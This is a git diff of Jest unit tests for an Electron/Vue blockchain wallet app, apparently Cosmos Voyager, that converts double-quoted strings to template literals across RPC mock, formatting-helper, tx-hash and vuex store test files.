- it("should not reconnect again if already reconnecting", async () => { - const { ipcRenderer } = require("electron") + it(`should not reconnect again if already reconnecting`, async () => { + const { ipcRenderer } = require(`electron`) ipcRenderer.send = jest.fn() connector.rpcReconnect() connector.rpcReconnect() diff --git a/test/unit/specs/rpcWrapperMock.spec.js b/test/unit/specs/rpcWrapperMock.spec.js index d166598578..6bbe922e43 100644 --- a/test/unit/specs/rpcWrapperMock.spec.js +++ b/test/unit/specs/rpcWrapperMock.spec.js @@ -1,15 +1,15 @@ -describe("RPC Wrapper Mock", () => { +describe(`RPC Wrapper Mock`, () => { let node = {} let wrapper beforeEach(() => { jest.resetModules() - let mockedRpcWrapper = require("renderer/connectors/rpcWrapperMock.js") + let mockedRpcWrapper = require(`renderer/connectors/rpcWrapperMock.js`) wrapper = mockedRpcWrapper(node) - wrapper.rpcConnect("localhost") + wrapper.rpcConnect(`localhost`) }) - it("outputs validators", done => { + it(`outputs validators`, done => { node.rpc.validators((err, data) => { expect(err).toBeNull() expect(data.validators).toBeDefined() @@ -17,7 +17,7 @@ describe("RPC Wrapper Mock", () => { }) }) - it("outputs a block", done => { + it(`outputs a block`, done => { let height = 5 node.rpc.block({ height: height, maxHeight: height }, (err, data) => { expect(err).toBeNull() @@ -26,7 +26,7 @@ describe("RPC Wrapper Mock", () => { }) }) - it("outputs a block header", done => { + it(`outputs a block header`, done => { let height = 5 node.rpc.blockchain( { minHeight: height, maxHeight: height }, @@ -38,7 +38,7 @@ describe("RPC Wrapper Mock", () => { ) }) - it("outputs a status", done => { + it(`outputs a status`, done => { node.rpc.status((err, data) => { expect(err).toBeNull() expect(data.sync_info.latest_block_height).toBeDefined() @@ -46,9 +46,9 @@ describe("RPC Wrapper Mock", () => { }) }) - it("receives a stream of blocks", done => { + it(`receives a stream of blocks`, done => { let blocks = [] - node.rpc.subscribe({ query: "tm.event = 'NewBlock'" }, (err, data) => { + node.rpc.subscribe({ query: `tm.event = 'NewBlock'` }, (err, data) => { expect(err).toBeNull() expect(data.data.value.block).toBeDefined() blocks.push(data.data.value.block) @@ -58,10 +58,10 @@ describe("RPC Wrapper Mock", () => { }) }) - it("receives a stream of block headers", done => { + it(`receives a stream of block headers`, done => { let headers = [] node.rpc.subscribe( - { query: "tm.event = 'NewBlockHeader'" }, + { query: `tm.event = 'NewBlockHeader'` }, (err, data) => { expect(err).toBeNull() expect(data.data.value.header).toBeDefined() diff --git a/test/unit/specs/scripts/common.spec.js b/test/unit/specs/scripts/common.spec.js index 0d1322fc6f..5fedcc7fa4 100644 --- a/test/unit/specs/scripts/common.spec.js +++ b/test/unit/specs/scripts/common.spec.js @@ -1,31 +1,31 @@ import { shortAddress } from "renderer/scripts/common" -describe("shortAddress", () => { - const bech32ish = "asdf1asdfghjkl" - const longString = "qwertyuiopasdfghjklzxcvbnm" +describe(`shortAddress`, () => { + const bech32ish = `asdf1asdfghjkl` + const longString = `qwertyuiopasdfghjklzxcvbnm` - it("should treat bech32ish like bech32", () => { + it(`should treat bech32ish like bech32`, () => { const shortString = shortAddress(bech32ish) - expect(shortString.toLowerCase()).toBe("asdf…hjkl") + expect(shortString.toLowerCase()).toBe(`asdf…hjkl`) }) - it("should return short bech32ish ", () => { - const shortBech32ish = "as1d" + it(`should return short bech32ish `, () => { + const shortBech32ish = `as1d` const shortString = shortAddress(shortBech32ish) - expect(shortString.toLowerCase()).toBe("as1d") + expect(shortString.toLowerCase()).toBe(`as1d`) }) - it("should shorten string by default", () => { + it(`should shorten string by default`, () => { const shortString = shortAddress(longString) - expect(shortString.toLowerCase()).toBe("qwer…vbnm") + expect(shortString.toLowerCase()).toBe(`qwer…vbnm`) }) - it("should shorten string by 5", () => { + it(`should shorten string by 5`, () => { const shortString = shortAddress(longString, 5) - expect(shortString.toLowerCase()).toBe("qwert…cvbnm") + expect(shortString.toLowerCase()).toBe(`qwert…cvbnm`) }) - it("should return already short string", () => { - const tinyString = "qwe" + it(`should return already short string`, () => { + const tinyString = `qwe` const shortString = shortAddress(tinyString) - expect(shortString.toLowerCase()).toBe("qwe") + expect(shortString.toLowerCase()).toBe(`qwe`) }) }) diff --git a/test/unit/specs/scripts/num.spec.js b/test/unit/specs/scripts/num.spec.js index ec8e7257d5..13c538c505 100644 --- a/test/unit/specs/scripts/num.spec.js +++ b/test/unit/specs/scripts/num.spec.js @@ -1,45 +1,45 @@ import num from "renderer/scripts/num" -describe("number helper", () => { - it("should format usd", () => { - expect(num.usd(1950.12)).toBe("$1,950.12") +describe(`number helper`, () => { + it(`should format usd`, () => { + expect(num.usd(1950.12)).toBe(`$1,950.12`) }) - it("should format usd without decimals", () => { - expect(num.usdInt(1950.12)).toBe("$1,950") + it(`should format usd without decimals`, () => { + expect(num.usdInt(1950.12)).toBe(`$1,950`) }) - it("should format numbers showing many decimals", () => { - expect(num.full(1001950.123456)).toBe("1,001,950.12345600") + it(`should format numbers showing many decimals`, () => { + expect(num.full(1001950.123456)).toBe(`1,001,950.12345600`) }) - it("should format numbers showing few decimals", () => { - expect(num.pretty(1001950.123456)).toBe("1,001,950.12") + it(`should format numbers showing few decimals`, () => { + expect(num.pretty(1001950.123456)).toBe(`1,001,950.12`) }) - it("should format numbers showing no decimals", () => { - expect(num.prettyInt(1001950.123456)).toBe("1,001,950") + it(`should format numbers showing no decimals`, () => { + expect(num.prettyInt(1001950.123456)).toBe(`1,001,950`) }) - it("should shorten big numbers", () => { - expect(num.short(2001001950.123456)).toBe("2.00B") - expect(num.short(1001950.123456)).toBe("1.00M") - expect(num.short(3950.123456)).toBe("3.95K") - expect(num.short(950.123456)).toBe("950.12") + it(`should shorten big numbers`, () => { + expect(num.short(2001001950.123456)).toBe(`2.00B`) + expect(num.short(1001950.123456)).toBe(`1.00M`) + expect(num.short(3950.123456)).toBe(`3.95K`) + expect(num.short(950.123456)).toBe(`950.12`) }) - it("should shorten big numbers showing no decimals", () => { - expect(num.shortInt(2001001950.123456)).toBe("2.00B") - expect(num.shortInt(1001950.123456)).toBe("1.00M") - expect(num.shortInt(3950.123456)).toBe("3.95K") - expect(num.shortInt(950.123456)).toBe("950") + it(`should shorten big numbers showing no decimals`, () => { + expect(num.shortInt(2001001950.123456)).toBe(`2.00B`) + expect(num.shortInt(1001950.123456)).toBe(`1.00M`) + expect(num.shortInt(3950.123456)).toBe(`3.95K`) + expect(num.shortInt(950.123456)).toBe(`950`) }) - it("should format percent without decimals", () => { - expect(num.percentInt(0.2612)).toBe("26%") + it(`should format percent without decimals`, () => { + expect(num.percentInt(0.2612)).toBe(`26%`) }) - it("should format percent with decimals", () => { - expect(num.percent(0.2612)).toBe("26.12%") + it(`should format percent with decimals`, () => { + expect(num.percent(0.2612)).toBe(`26.12%`) }) }) diff --git a/test/unit/specs/scripts/tx-utils.spec.js b/test/unit/specs/scripts/tx-utils.spec.js index c632b9494e..9dc14fcc8a 100644 --- a/test/unit/specs/scripts/tx-utils.spec.js +++ b/test/unit/specs/scripts/tx-utils.spec.js @@ -1,10 +1,9 @@ import { getTxHash } from "renderer/scripts/tx-utils" -describe("tx-utils", () => { - const string = - "4wHwYl3uCloqLIf6CikKFIPMHcOoYjqQbmtzFFdU3g967Y0/EhEKCmxvY2FsVG9rZW4SAzEwMBIpChSDzB3DqGI6kG5rcxRXVN4Peu2NPxIRCgpsb2NhbFRva2VuEgMxMDASCQoDEgEwEMCEPRp2CibrWumHIQLUKUS5mPDRAdBIB5lAw9AIh/aaAL9PTqArOWGO5fpsphJMf8SklUcwRQIhAM9qzjJSTxzXatI3ncHcb1cwIdCTU+oVP4V8RO6lzjcXAiAoS9XZ4e3I/1e/HonfHucRNYE65ioGk88q4dWPs9Z5LA==" - const hash = "0a31fba9f6d7403b41f5e52c12b98246c7c649af" - it("should encode a string correctly", () => { +describe(`tx-utils`, () => { + const string = `4wHwYl3uCloqLIf6CikKFIPMHcOoYjqQbmtzFFdU3g967Y0/EhEKCmxvY2FsVG9rZW4SAzEwMBIpChSDzB3DqGI6kG5rcxRXVN4Peu2NPxIRCgpsb2NhbFRva2VuEgMxMDASCQoDEgEwEMCEPRp2CibrWumHIQLUKUS5mPDRAdBIB5lAw9AIh/aaAL9PTqArOWGO5fpsphJMf8SklUcwRQIhAM9qzjJSTxzXatI3ncHcb1cwIdCTU+oVP4V8RO6lzjcXAiAoS9XZ4e3I/1e/HonfHucRNYE65ioGk88q4dWPs9Z5LA==` + const hash = `0a31fba9f6d7403b41f5e52c12b98246c7c649af` + it(`should encode a string correctly`, () => { const newHash = getTxHash(string) expect(newHash.toLowerCase()).toBe(hash.toLowerCase()) }) diff --git a/test/unit/specs/store/blockchain.spec.js b/test/unit/specs/store/blockchain.spec.js index 4523e78108..fdd5831488 100644 --- a/test/unit/specs/store/blockchain.spec.js +++ b/test/unit/specs/store/blockchain.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" import { getTxHash } from "../../../../app/src/renderer/scripts/tx-utils.js" let instance = setup() -describe("Module: Blockchain", () => { +describe(`Module: Blockchain`, () => { let store, node let height = 100 let blockMeta = { @@ -22,64 +22,64 @@ describe("Module: Blockchain", () => { store.state.blockchain.blockMetas[height] = blockMeta }) - it("should query block info", async () => { + it(`should query block info`, async () => { store.state.blockchain.blockMetas = {} node.rpc.blockchain = jest.fn((ignored, cb) => { cb(null, { block_metas: [blockMeta] }) }) - let output = await store.dispatch("queryBlockInfo", 42) + let output = await store.dispatch(`queryBlockInfo`, 42) expect(output).toBe(blockMeta) }) - it("should reuse queried block info", async () => { + it(`should reuse queried block info`, async () => { store.state.blockchain.blockMetas = {} store.state.blockchain.blockMetas[height] = blockMeta node.rpc.blockchain = jest.fn() - let output = await store.dispatch("queryBlockInfo", 100) + let output = await store.dispatch(`queryBlockInfo`, 100) expect(output).toBe(blockMeta) expect(node.rpc.blockchain).not.toHaveBeenCalled() }) - it("should show an info if block info is unavailable", async () => { + it(`should show an info if block info is unavailable`, async () => { store.state.blockchain.blockMetas = {} - node.rpc.blockchain = (props, cb) => cb("Error") + node.rpc.blockchain = (props, cb) => cb(`Error`) let height = 100 - let output = await store.dispatch("queryBlockInfo", height) + let output = await store.dispatch(`queryBlockInfo`, height) expect(output).toBe(null) expect(store.state.notifications.length).toBe(1) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("should not subscribe twice", async () => { - let firstResponse = await store.dispatch("subscribeToBlocks") + it(`should not subscribe twice`, async () => { + let firstResponse = await store.dispatch(`subscribeToBlocks`) expect(firstResponse).toBe(true) - let secondResponse = await store.dispatch("subscribeToBlocks") + let secondResponse = await store.dispatch(`subscribeToBlocks`) expect(secondResponse).toBe(false) }) - it("should handle errors", () => { + it(`should handle errors`, () => { console.error = jest.fn() node.rpc.subscribe = (query, cb) => { - cb({ message: "expected error" }) + cb({ message: `expected error` }) } - store.dispatch("subscribeToBlocks") + store.dispatch(`subscribeToBlocks`) expect(console.error.mock.calls.length).toBe(1) }) - it("should handle ignore already subscribed errors", () => { + it(`should handle ignore already subscribed errors`, () => { console.error = jest.fn() node.rpc.subscribe = (query, cb) => { - cb({ message: "expected error", data: "already subscribed" }) + cb({ message: `expected error`, data: `already subscribed` }) } - store.dispatch("subscribeToBlocks") + store.dispatch(`subscribeToBlocks`) expect(console.error.mock.calls.length).toBe(1) - expect(store.dispatch).not.toHaveBeenCalledWith("nodeHasHalted") + expect(store.dispatch).not.toHaveBeenCalledWith(`nodeHasHalted`) }) - it("should not subscribe if still syncing", async () => { + it(`should not subscribe if still syncing`, async () => { node.rpc.status = cb => { cb(null, { sync_info: { @@ -89,11 +89,11 @@ describe("Module: Blockchain", () => { }) } node.rpc.subscribe = jest.fn() - store.dispatch("subscribeToBlocks") + store.dispatch(`subscribeToBlocks`) expect(node.rpc.subscribe.mock.calls.length).toBe(0) }) - it("should subscribe if not syncing", async () => { + it(`should subscribe if not syncing`, async () => { node.rpc.status = cb => { cb(null, { sync_info: { @@ -103,14 +103,13 @@ describe("Module: Blockchain", () => { }) } node.rpc.subscribe = jest.fn() - store.dispatch("subscribeToBlocks") + store.dispatch(`subscribeToBlocks`) expect(node.rpc.subscribe.mock.calls.length).toBe(1) }) - it("should convert tx strings correctly", async () => { - let expectedHash = "0a31fba9f6d7403b41f5e52c12b98246c7c649af" - let txString = - "4wHwYl3uCloqLIf6CikKFIPMHcOoYjqQbmtzFFdU3g967Y0/EhEKCmxvY2FsVG9rZW4SAzEwMBIpChSDzB3DqGI6kG5rcxRXVN4Peu2NPxIRCgpsb2NhbFRva2VuEgMxMDASCQoDEgEwEMCEPRp2CibrWumHIQLUKUS5mPDRAdBIB5lAw9AIh/aaAL9PTqArOWGO5fpsphJMf8SklUcwRQIhAM9qzjJSTxzXatI3ncHcb1cwIdCTU+oVP4V8RO6lzjcXAiAoS9XZ4e3I/1e/HonfHucRNYE65ioGk88q4dWPs9Z5LA==" + it(`should convert tx strings correctly`, async () => { + let expectedHash = `0a31fba9f6d7403b41f5e52c12b98246c7c649af` + let txString = `4wHwYl3uCloqLIf6CikKFIPMHcOoYjqQbmtzFFdU3g967Y0/EhEKCmxvY2FsVG9rZW4SAzEwMBIpChSDzB3DqGI6kG5rcxRXVN4Peu2NPxIRCgpsb2NhbFRva2VuEgMxMDASCQoDEgEwEMCEPRp2CibrWumHIQLUKUS5mPDRAdBIB5lAw9AIh/aaAL9PTqArOWGO5fpsphJMf8SklUcwRQIhAM9qzjJSTxzXatI3ncHcb1cwIdCTU+oVP4V8RO6lzjcXAiAoS9XZ4e3I/1e/HonfHucRNYE65ioGk88q4dWPs9Z5LA==` let hash = await getTxHash(txString) expect(hash).toBe(expectedHash) }) diff --git a/test/unit/specs/store/delegates.spec.js b/test/unit/specs/store/delegates.spec.js index e5155d40ab..67d91dcd02 100644 --- a/test/unit/specs/store/delegates.spec.js +++ b/test/unit/specs/store/delegates.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Delegates", () => { +describe(`Module: Delegates`, () => { let store beforeEach(() => { @@ -10,70 +10,70 @@ describe("Module: Delegates", () => { store = test.store }) - it("adds delegate to state", () => { - store.commit("addDelegate", { - owner: "foo", - tokens: "10" + it(`adds delegate to state`, () => { + store.commit(`addDelegate`, { + owner: `foo`, + tokens: `10` }) expect(store.state.delegates.delegates[0]).toEqual({ - id: "foo", - owner: "foo", - tokens: "10", - voting_power: "10.00" + id: `foo`, + owner: `foo`, + tokens: `10`, + voting_power: `10.00` }) expect(store.state.delegates.delegates.length).toBe(1) }) - it("replaces existing delegate with same id", () => { - store.commit("addDelegate", { - owner: "foo", - tokens: "12", + it(`replaces existing delegate with same id`, () => { + store.commit(`addDelegate`, { + owner: `foo`, + tokens: `12`, updated: true }) expect(store.state.delegates.delegates[0]).toEqual({ - id: "foo", - owner: "foo", - tokens: "12", + id: `foo`, + owner: `foo`, + tokens: `12`, updated: true, - voting_power: "12.00" + voting_power: `12.00` }) expect(store.state.delegates.delegates.length).toBe(1) }) - it("parses delegate tokens with fraction value", () => { - store.commit("addDelegate", { - owner: "foo", - tokens: "4000/40", + it(`parses delegate tokens with fraction value`, () => { + store.commit(`addDelegate`, { + owner: `foo`, + tokens: `4000/40`, updated: true }) expect(store.state.delegates.delegates[0]).toEqual({ - id: "foo", - owner: "foo", - tokens: "4000/40", + id: `foo`, + owner: `foo`, + tokens: `4000/40`, updated: true, - voting_power: "100.00" + voting_power: `100.00` }) expect(store.state.delegates.delegates.length).toBe(1) }) - it("fetches all candidates", async () => { - await store.dispatch("getDelegates") - let lcdClientMock = require("renderer/connectors/lcdClientMock.js") + it(`fetches all candidates`, async () => { + await store.dispatch(`getDelegates`) + let lcdClientMock = require(`renderer/connectors/lcdClientMock.js`) expect(store.state.delegates.delegates.map(x => x.owner)).toEqual( lcdClientMock.validators ) }) - it("fetches the signing information from all delegates", async () => { - store.commit("addDelegate", { - owner: "foo", - tokens: "10" + it(`fetches the signing information from all delegates`, async () => { + store.commit(`addDelegate`, { + owner: `foo`, + tokens: `10` }) let validators = store.state.delegates.delegates expect(validators).not.toContainEqual( expect.objectContaining({ signing_info: expect.anything() }) ) - await store.dispatch("updateSigningInfo", validators) + await store.dispatch(`updateSigningInfo`, validators) validators = store.state.delegates.delegates expect(validators).toContainEqual( @@ -81,23 +81,23 @@ describe("Module: Delegates", () => { ) }) - it("should query for delegates on reconnection", () => { + it(`should query for delegates on reconnection`, () => { jest.resetModules() - let axios = require("axios") + let axios = require(`axios`) store.state.node.stopConnecting = true store.state.delegates.loading = true - jest.spyOn(axios, "get") - store.dispatch("reconnected") + jest.spyOn(axios, `get`) + store.dispatch(`reconnected`) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("should not query for delegates on reconnection if not stuck in loading", () => { + it(`should not query for delegates on reconnection if not stuck in loading`, () => { jest.resetModules() - let axios = require("axios") + let axios = require(`axios`) store.state.node.stopConnecting = true store.state.delegates.loading = false - jest.spyOn(axios, "get") - store.dispatch("reconnected") + jest.spyOn(axios, `get`) + store.dispatch(`reconnected`) expect(axios.get.mock.calls.length).toBe(0) }) }) diff --git a/test/unit/specs/store/delegation.spec.js b/test/unit/specs/store/delegation.spec.js index 7dceba60b8..59db42c15d 100644 --- a/test/unit/specs/store/delegation.spec.js +++ b/test/unit/specs/store/delegation.spec.js @@ -3,7 +3,7 @@ import lcdClientMock from "renderer/connectors/lcdClientMock.js" let instance = setup() -describe("Module: Delegations", () => { +describe(`Module: Delegations`, () => { let store, node beforeEach(async () => { @@ -11,66 +11,66 @@ describe("Module: Delegations", () => { store = test.store node = test.node - await store.dispatch("signIn", { password: "bar", account: "default" }) - await store.dispatch("getDelegates") + await store.dispatch(`signIn`, { password: `bar`, account: `default` }) + await store.dispatch(`getDelegates`) }) - it("adds delegate to cart", () => { - store.commit("addToCart", { id: "foo", x: 1 }) + it(`adds delegate to cart`, () => { + store.commit(`addToCart`, { id: `foo`, x: 1 }) expect(store.state.delegation.delegates[0]).toEqual({ - id: "foo", - delegate: { id: "foo", x: 1 }, + id: `foo`, + delegate: { id: `foo`, x: 1 }, atoms: 0 }) expect(store.state.delegation.delegates.length).toBe(1) }) - it("does not add delegate to cart if already exists", () => { - store.commit("addToCart", { id: "foo" }) - store.commit("addToCart", { id: "foo", x: 1 }) - expect(store.state.delegation.delegates[0].id).toBe("foo") + it(`does not add delegate to cart if already exists`, () => { + store.commit(`addToCart`, { id: `foo` }) + store.commit(`addToCart`, { id: `foo`, x: 1 }) + expect(store.state.delegation.delegates[0].id).toBe(`foo`) expect(store.state.delegation.delegates[0].x).toBe(undefined) expect(store.state.delegation.delegates.length).toBe(1) }) - it("removes delegate from cart", () => { - store.commit("addToCart", { id: "foo" }) - store.commit("addToCart", { id: "bar" }) - store.commit("removeFromCart", "foo") + it(`removes delegate from cart`, () => { + store.commit(`addToCart`, { id: `foo` }) + store.commit(`addToCart`, { id: `bar` }) + store.commit(`removeFromCart`, `foo`) expect(store.state.delegation.delegates[0]).toEqual({ - id: "bar", - delegate: { id: "bar" }, + id: `bar`, + delegate: { id: `bar` }, atoms: 0 }) expect(store.state.delegation.delegates.length).toBe(1) }) - it("sets committed atoms for delegate", () => { - store.commit("addToCart", { id: "foo" }) - store.commit("setCommittedDelegation", { candidateId: "foo", value: 123 }) + it(`sets committed atoms for delegate`, () => { + store.commit(`addToCart`, { id: `foo` }) + store.commit(`setCommittedDelegation`, { candidateId: `foo`, value: 123 }) expect(store.state.delegation.committedDelegates).toEqual({ foo: 123 }) }) - it("sets committed atoms for delegate to 0", () => { - store.commit("addToCart", { id: "foo" }) - store.commit("setCommittedDelegation", { candidateId: "foo", value: 123 }) - store.commit("setCommittedDelegation", { candidateId: "foo", value: 0 }) + it(`sets committed atoms for delegate to 0`, () => { + store.commit(`addToCart`, { id: `foo` }) + store.commit(`setCommittedDelegation`, { candidateId: `foo`, value: 123 }) + store.commit(`setCommittedDelegation`, { candidateId: `foo`, value: 0 }) expect(store.state.delegation.committedDelegates).toEqual({}) }) - it("fetches bonded delegates", async () => { - await store.dispatch("getBondedDelegates", store.state.delegates.delegates) + it(`fetches bonded delegates`, async () => { + await store.dispatch(`getBondedDelegates`, store.state.delegates.delegates) expect(store.state.delegation.committedDelegates).toMatchSnapshot() }) - it("submits delegation transaction", async () => { - store.dispatch("setLastHeader", { + it(`submits delegation transaction`, async () => { + store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-chain" + chain_id: `test-chain` }) - await store.dispatch("getBondedDelegates") + await store.dispatch(`getBondedDelegates`) - jest.spyOn(store._actions.sendTx, "0") + jest.spyOn(store._actions.sendTx, `0`) const delegates = store.state.delegates.delegates @@ -85,19 +85,19 @@ describe("Module: Delegations", () => { } ] - await store.dispatch("submitDelegation", { delegations }) + await store.dispatch(`submitDelegation`, { delegations }) expect(store._actions.sendTx[0].mock.calls).toMatchSnapshot() }) - it("submits undelegation transaction", async () => { - store.dispatch("setLastHeader", { + it(`submits undelegation transaction`, async () => { + store.dispatch(`setLastHeader`, { height: 42, - chain_id: "test-chain" + chain_id: `test-chain` }) - await store.dispatch("getBondedDelegates") + await store.dispatch(`getBondedDelegates`) - jest.spyOn(store._actions.sendTx, "0") + jest.spyOn(store._actions.sendTx, `0`) const delegates = store.state.delegates.delegates const unbondings = [ @@ -111,19 +111,19 @@ describe("Module: Delegations", () => { } ] - await store.dispatch("submitDelegation", { unbondings }) + await store.dispatch(`submitDelegation`, { unbondings }) expect(store._actions.sendTx[0].mock.calls).toMatchSnapshot() }) - it("fetches current undelegations", async () => { - await store.dispatch("getBondedDelegates", store.state.delegates.delegates) + it(`fetches current undelegations`, async () => { + await store.dispatch(`getBondedDelegates`, store.state.delegates.delegates) expect(store.state.delegation.unbondingDelegations).toMatchSnapshot() }) - it("deletes undelegations that are 0", async () => { - await store.dispatch("getBondedDelegates", store.state.delegates.delegates) - store.commit("setUnbondingDelegations", { - validator_addr: "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw", + it(`deletes undelegations that are 0`, async () => { + await store.dispatch(`getBondedDelegates`, store.state.delegates.delegates) + store.commit(`setUnbondingDelegations`, { + validator_addr: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw`, balance: { amount: 0 } }) expect( @@ -132,27 +132,27 @@ describe("Module: Delegations", () => { ).toBeUndefined() }) - it("should query delegated atoms on reconnection", () => { + it(`should query delegated atoms on reconnection`, () => { jest.resetModules() - let axios = require("axios") + let axios = require(`axios`) store.state.node.stopConnecting = true store.state.delegation.loading = true - jest.spyOn(axios, "get") - store.dispatch("reconnected") + jest.spyOn(axios, `get`) + store.dispatch(`reconnected`) expect(axios.get.mock.calls).toMatchSnapshot() }) - it("should not query delegated atoms on reconnection if not stuck in loading", () => { + it(`should not query delegated atoms on reconnection if not stuck in loading`, () => { jest.resetModules() - let axios = require("axios") + let axios = require(`axios`) store.state.node.stopConnecting = true store.state.delegation.loading = false - jest.spyOn(axios, "get") - store.dispatch("reconnected") + jest.spyOn(axios, `get`) + store.dispatch(`reconnected`) expect(axios.get.mock.calls.length).toBe(0) }) - it("updating delegations should not update another users state after signing out and in again", async () => { + it(`updating delegations should not update another users state after signing out and in again`, async () => { jest.resetModules() let resolveDelegationRequest @@ -163,9 +163,9 @@ describe("Module: Delegations", () => { resolve({ delegations: [ { - delegator_addr: "abc", - validator_addr: "def", - shares: "14", + delegator_addr: `abc`, + validator_addr: `def`, + shares: `14`, height: 123 } ] @@ -174,12 +174,12 @@ describe("Module: Delegations", () => { // trigger the get call let getDelegationsPromise = store.dispatch( - "getBondedDelegates", + `getBondedDelegates`, store.state.delegates.delegates ) // sign out - sign in - store.state.user.address = "some other address" + store.state.user.address = `some other address` // finish the request resolveDelegationRequest() @@ -191,41 +191,41 @@ describe("Module: Delegations", () => { ) }) - it("should undelegate", async () => { + it(`should undelegate`, async () => { // store the unbondingDelegation in the lcdclientmock - await store.dispatch("submitDelegation", { + await store.dispatch(`submitDelegation`, { unbondings: [ { delegate: { owner: lcdClientMock.validators[0], - delegator_shares: "100", - tokens: "100" + delegator_shares: `100`, + tokens: `100` }, balance: { - amount: "100" + amount: `100` } } ] }) - store.commit("setUnbondingDelegations", { + store.commit(`setUnbondingDelegations`, { validator_addr: lcdClientMock.validators[0], - balance: { amount: "100" } + balance: { amount: `100` } }) expect( store.state.delegation.unbondingDelegations[lcdClientMock.validators[0]] ).toBeTruthy() - await store.dispatch("endUnbonding", lcdClientMock.validators[0]) + await store.dispatch(`endUnbonding`, lcdClientMock.validators[0]) expect( store.state.delegation.unbondingDelegations[lcdClientMock.validators[0]] ).toBeFalsy() }) - it("should remove dead delegations and undelegations", async () => { - store.commit("setCommittedDelegation", { + it(`should remove dead delegations and undelegations`, async () => { + store.commit(`setCommittedDelegation`, { candidateId: lcdClientMock.validators[1], value: 1 }) - store.commit("setUnbondingDelegations", { + store.commit(`setUnbondingDelegations`, { validator_addr: lcdClientMock.validators[1], balance: { amount: 1 @@ -237,7 +237,7 @@ describe("Module: Delegations", () => { expect( store.state.delegation.unbondingDelegations[lcdClientMock.validators[1]] ).toBeTruthy() - await store.dispatch("getBondedDelegates") // lcdclientmock doesn't have the delegations we set above so they should be deleted locally + await store.dispatch(`getBondedDelegates`) // lcdclientmock doesn't have the delegations we set above so they should be deleted locally expect( store.state.delegation.committedDelegates[lcdClientMock.validators[1]] @@ -247,9 +247,9 @@ describe("Module: Delegations", () => { ).toBeFalsy() }) - it("should update delegation status", async () => { + it(`should update delegation status`, async () => { store.state.delegation.committedDelegates = {} - await store.dispatch("updateDelegates") + await store.dispatch(`updateDelegates`) expect(store.state.delegation.committedDelegates).toBeTruthy() }) }) diff --git a/test/unit/specs/store/filters.spec.js b/test/unit/specs/store/filters.spec.js index 8f734e2d07..87756ef8ed 100644 --- a/test/unit/specs/store/filters.spec.js +++ b/test/unit/specs/store/filters.spec.js @@ -2,7 +2,7 @@ import setup from "../../helpers/vuex-setup" let instance = setup() -describe("Module: Filters", () => { +describe(`Module: Filters`, () => { let store, state beforeEach(() => { @@ -10,27 +10,27 @@ describe("Module: Filters", () => { state = store.state.filters }) - it("can set a search type's visiblility", () => { + it(`can set a search type's visiblility`, () => { expect(state.balances.search.visible).toBe(false) - store.commit("setSearchVisible", ["balances", true]) + store.commit(`setSearchVisible`, [`balances`, true]) expect(state.balances.search.visible).toBe(true) - store.commit("setSearchVisible", ["balances", false]) + store.commit(`setSearchVisible`, [`balances`, false]) expect(state.balances.search.visible).toBe(false) - store.commit("setSearchVisible", ["balances", true]) + store.commit(`setSearchVisible`, [`balances`, true]) expect(state.balances.search.visible).toBe(true) - store.commit("resetSearch", "balances") + store.commit(`resetSearch`, `balances`) expect(state.balances.search.visible).toBe(false) }) - it("can set a search type's query", () => { - expect(state.delegates.search.query).toBe("") + it(`can set a search type's query`, () => { + expect(state.delegates.search.query).toBe(``) - store.commit("setSearchQuery", ["delegates", "validator1"]) - expect(state.delegates.search.query).toBe("validator1") - expect(state.proposals.search.query).toBe("") + store.commit(`setSearchQuery`, [`delegates`, `validator1`]) + expect(state.delegates.search.query).toBe(`validator1`) + expect(state.proposals.search.query).toBe(``) }) }) diff --git a/test/unit/specs/store/index.spec.js b/test/unit/specs/store/index.spec.js index d6b0d11b7a..b11bea25ae 100644 --- a/test/unit/specs/store/index.spec.js +++ b/test/unit/specs/store/index.spec.js @@ -1,15 +1,15 @@ -let Modules = require("renderer/vuex/modules").default -let node = require("../../helpers/node_mock") +let Modules = require(`renderer/vuex/modules`).default +let node = require(`../../helpers/node_mock`) -describe("Module Index", () => { - it("can be instantiated", () => { +describe(`Module Index`, () => { + it(`can be instantiated`, () => { let modules = Modules({ node }) // check modules for correct export interface for (let moduleName in modules) { let module = modules[moduleName] for (let key in module) { - let vuexModuleKeys = ["state", "mutations", "actions"] + let vuexModuleKeys = [`state`, `mutations`, `actions`] expect(vuexModuleKeys.includes(key)).toBe(true) } } diff --git a/test/unit/specs/store/json/txs.js b/test/unit/specs/store/json/txs.js index 44e06c1a7d..9d500ae28c 100644 --- a/test/unit/specs/store/json/txs.js +++ b/test/unit/specs/store/json/txs.js @@ -1,35 +1,35 @@ module.exports = [ { - hash: "not a real hash", + hash: `not a real hash`, time: Date.now() + 1000, // set by Voyager - height: "3436", + height: `3436`, tx: { - type: "8EFE47F0625DE8", + type: `8EFE47F0625DE8`, value: { msg: [ { - type: "EAFDE32A2C87F8", + type: `EAFDE32A2C87F8`, value: { inputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 } ], - address: "tb1da6xsetjg9jxgun9wdesexv05j" + address: `tb1da6xsetjg9jxgun9wdesexv05j` } ], outputs: [ { coins: [ { - denom: "jbcoins", + denom: `jbcoins`, amount: 1234 } ], - address: "tb1d4u5zerywfjhxuc9nudvw" + address: `tb1d4u5zerywfjhxuc9nudvw` } ] } @@ -38,7 +38,7 @@ module.exports = [ fee: { amount: [ { - denom: "", + denom: ``, amount: 0 } ], @@ -48,13 +48,12 @@ module.exports = [ signatures: [ { pub_key: { - type: "AC26791624DE60", - value: "70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=" + type: `AC26791624DE60`, + value: `70df5mUA3bFTJheAI6umXvABNuUU+q/3nOPS6lmT3tU=` }, signature: { - type: "6BF5903DA1DB28", - value: - "oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==" + type: `6BF5903DA1DB28`, + value: `oODzZz2t1u678Jhy2zFnFbBu7S2IP1zjOIoyVDOvGkQ6WkiiRF3zxEJbNAjHGdDjXf7/NQpMOtpt8FC1x6e6DA==` }, account_number: 